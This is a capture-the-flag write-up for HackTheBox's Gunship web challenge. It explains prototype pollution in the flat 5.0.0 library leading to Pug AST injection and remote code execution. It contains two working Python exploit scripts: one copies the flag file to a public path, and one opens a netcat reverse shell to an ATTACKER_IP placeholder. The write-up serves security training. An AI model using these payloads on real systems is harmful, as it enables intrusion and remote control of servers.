HackTheBox: Gunship — WalkThrough - CyberSec Nerds
January 24, 2025
CTF Write-Ups

HackTheBox: Gunship — WalkThrough

Today, we will be doing Gunship from HackTheBox which is labeled as an easy-level Web challenge that aims at teaching AST injection in javascript template engines through prototype pollution, leading to RCE. Without further ado, let’s connect to our HTB network and start hacking!

Navigating the website

The website is simple, with a single form field asking, “Who’s your favourite artist?”

Let’s test the field with a simple test input.

If we provide the full name of the artist, it responds with, “Hello guest, thank you for letting us know!”

Analyzing server-side implementation

Once we send the request from the browser input, it is submitted to the /api/submit endpoint, which eventually uses the unflatten method from the flat library to extract the artist field. If this field contains a predefined artist name, a simple response acknowledging the user is sent. The response message is a compiled Pug template, using the pug.compile function, which says, “Hello #{user}, thank you for letting us know!” where {user} is replaced with the value ‘guest’. Otherwise, if the artist name doesn’t match, the user is presented with the message: “Please provide us with the full name of an existing member.”

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

        if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
                return res.json({
                        'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
                });
        } else {
                return res.json({
                        'response': 'Please provide us with the full name of an existing member.'
                });
        }
});

module.exports = router;

Looking at the code above, we can identify const { artist } = unflatten(req.body); as the sink, where user-controlled input reaches and gets unflattened. Upon reviewing the package.json file, we can see that the flat version 5.0.0 is being used. After researching this package, we find that versions 5.0.0-5.0.2 are vulnerable to Prototype Pollution. More information on this vulnerability can be found here.

{
        "name": "gunship",
        "version": "1.0.0",
        "description": "",
        "main": "index.js",
        "scripts": {
                "start": "node index.js",
                "dev": "nodemon .",
                "test": "echo \"Error: no test specified\" && exit 1"
        },
        "keywords": [],
        "authors": [
                "makelaris",
                "makelarisjr"
        ],
        "dependencies": {
                "express": "^4.17.1",
                "flat": "5.0.0",
                "pug": "^3.0.0"
        }
}

Exploitation

We sent a POST request to the target application with a payload containing a property __proto__.block, which included JavaScript code designed to execute on the server. This polluted the prototype of the object, allowing us to inject harmful behavior into the application.

import requests

TARGET_URL = "http://94.237.54.42:44467"

r = requests.post(
    TARGET_URL + "/api/submit",
    json={
        "artist.name": "Haigh",
        "__proto__.block": {
            "type": "Text",
            "line": "console.log(process.mainModule.require('child_process').execSync('cat /app/flag  > /app/static/flag').toString())",
        },
    },
)

print(requests.get(TARGET_URL + "/static/flag").text)

The malicious block.line property contained a command that executed on the server. Specifically, it used Node.js’s child_process module to run a command that read a sensitive file (/app/flag) and wrote its contents to a publicly accessible location (/app/static/flag).

After the code was executed, we sent a GET request to retrieve the flag from the /static/flag endpoint, which was now accessible due to the earlier command. Moreover we can modify this payload to gain remote shell the the server.

import requests

TARGET_URL = "http://94.237.54.42:44467"

r = requests.post(
    TARGET_URL + "/api/submit",
    json={
        "artist.name": "Haigh",
        "__proto__.block": {
            "type": "Text",
            "line": "console.log(process.mainModule.require('child_process').execSync('nc <ATTACKER_IP> 9001 -e /bin/ash').toString())",
        },
    },
)

Note: Replace <ATTACKER_IP> with your machine's IP address.

This payload will give us a reverse shell by using netcat to connect back to the attacker’s machine on port 9001, providing a shell.

Simple yet interesting challenge. Happy Hacking!!!

Kiran Dawadi

Founder of cybersecnerds.com. Cybersecurity professional with 3+ years experience in offensive web security, cloud security and building systems. I am a Linux envagelist and highly interested in source-code auditing. You will find me reading InfoSec blogs most of the time.

Subscribe
Notify of
guest

0 Comments
Inline Feedbacks
View all comments